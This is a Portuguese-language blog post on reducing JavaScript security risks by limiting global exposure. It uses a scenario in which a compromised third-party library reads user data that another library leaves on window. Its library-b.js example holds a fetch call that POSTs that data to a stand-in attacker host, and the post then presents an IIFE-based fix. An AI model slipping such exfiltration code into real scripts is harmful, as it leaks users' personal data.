Reduzindo violações de segurança em JavaScript reduzindo a exposição global

May 02 2023
Vamos começar este artigo com um cenário simples. Digamos que haja um exemplo de site.

Vamos começar este artigo com um cenário simples. Digamos que haja um site example.com, e esse site usa duas bibliotecas A e B. A biblioteca A está trabalhando com alguns dados confidenciais e é extremamente importante que ninguém tenha acesso não autorizado a eles. Agora vamos supor que example.com é muito popular e Eve analisou o site e viu que o site está usando as bibliotecas A e B. Ela analisou a biblioteca A e encontrou a falha de segurança, que foi causada pela exposição global dos dados (iremos discutir este tópico em detalhes abaixo). Agora Eve pensou em como ela poderia obter acesso à biblioteca A para que ela pudesse extrair seus dados e elaborou um plano que visava obter acesso à biblioteca B (suponhamos que para Eve seja fácil acessar o código-fonte da biblioteca B e alterar it) e através da biblioteca B acessar o conteúdo da biblioteca A.

Agora vamos discutir como Eva poderia fazer isso. O código-fonte de example.com se parece com isto:

<!DOCTYPE html>
<html>
  <head>
    <title>example.com</title>
  </head>
  <body>
    <script src="./library-a.js"></script>
    <script src="./example-com.js"></script>
    <script src="./library-b.js"></script>
  </body>
</html>

  1. Biblioteca A
  2. script de example.com
  3. Biblioteca B.
  4. // library-a.js
    
    class LibraryA {
      /**
       * @publicApi
       */
      init() {
        this.users = this.getUsers()
      }
    
      /**
       * @privateApi
       */
      getUsers() {
        // Let's assume that this data is fetched from the server.
        return [
          {
            firstName: 'John',
            lastName: 'Doe',
            email: '[email protected]',
            personalID: '000001'
          },
          {
            firstName: 'Jane',
            lastName: 'Doe',
            email: '[email protected]',
            personalID: '000002'
          }
        ]
      }
    }
    
    window.libraryA = new LibraryA()
    

    // example-com.js
    
    window.libraryA.init()
    

    // library-b.js
    
    class LibraryB {
      constructor() {
        this.sendDataToEve()
      }
    
      sendDataToEve() {
        // Eve's endpoint
        fetch('https://0123456789.com', {
          method: 'POST',
          body: JSON.stringify({ users: window.libraryA.users })
        })
      }
    }
    
    window.libraryB = new LibraryB()
    

Para corrigir essa vulnerabilidade, podemos usar a função IIFE (Immediately Invoked Function Expression) e expor apenas o método API público initda seguinte maneira:

// library-a.js

window.libraryA = (() => {
  class LibraryA {
    /**
     * @publicApi
     */
    init() {
      this.users = this.getUsers()
    }

    /**
     * @privateApi
     */
    getUsers() {
      // Let's assume that this data is fetched from the server.
      return [
        {
          firstName: 'John',
          lastName: 'Doe',
          email: '[email protected]',
          personalID: '000001'
        },
        {
          firstName: 'Jane',
          lastName: 'Doe',
          email: '[email protected]',
          personalID: '000002'
        }
      ]
    }
  }

  const _libraryA = new LibraryA()

  return {
    init: _libraryA.init.bind(_libraryA)
  }
})()

Obrigado por ler este artigo, espero que tenha gostado. Você pode me seguir no Twitter .